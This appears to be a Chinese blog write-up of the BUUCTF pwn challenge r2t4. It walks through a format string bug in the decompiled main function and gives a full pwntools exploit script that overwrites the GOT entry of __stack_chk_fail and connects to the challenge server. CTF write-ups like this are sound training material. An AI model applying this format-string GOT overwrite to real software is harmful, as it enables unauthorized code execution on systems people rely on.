Java pwn_CTF-Pwn-[BJDCTF 2nd]r2t4

本文详细介绍了BJDCTF 2nd中Pwn类挑战r2t4的解决方案。通过ida64分析64位程序,发现格式化字符串漏洞。利用该漏洞,复写got表中的`__stack_chk_fail`地址,构造payload成功执行,从而获得flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CTF-Pwn-[BJDCTF 2nd]r2t4

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd]r2t4

bb1a749fa89c2ec36b247da1ebdec893.png

下载题目的文件

r2t4

思路

使用file命令查看,发现是64位的文件,使用ida64位打开

362374e5f5ad795b58a6573c971f6e18.png

进入主函数,使用F5反编译后得到伪代码,结果f5按不出来

ddba82959ca115f0b61d8b1035a441ed.png

int __cdecl main(int argc, const char **argv, const char **envp)

{

char buf; // [rsp+0h] [rbp-30h]

unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);

read(0, &buf, 0x38uLL);

printf(&buf, &buf);

return 0;

}

看一看这个main方法,感觉问题要出现在这个&buf身上,看一下整体关联

4a7a69ecc57f2f0430842edab4355cff.png

发现有个函数___stack_chk_fail,想到了格式化字符串漏洞

复写got表中的__stack_chk_fail地址

elf.got['__stack_chk_fail']

payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)

EXP

Python3

from pwn import *

context(arch='amd64',os='linux',word_size='64')

p = remote("node3.buuoj.cn",28242)

elf = ELF('./r2t4')

__stack_chk_fail = elf.got['__stack_chk_fail']

payload = b"%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)

p.sendline(payload)

p.interactive()

测试

cd然后我们测试运行

python3 r2t4.py

9fc8d617698a7807858caa561203c4f6.png

flag就找到了

感谢

BUUCTF

以及勤劳的自己

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值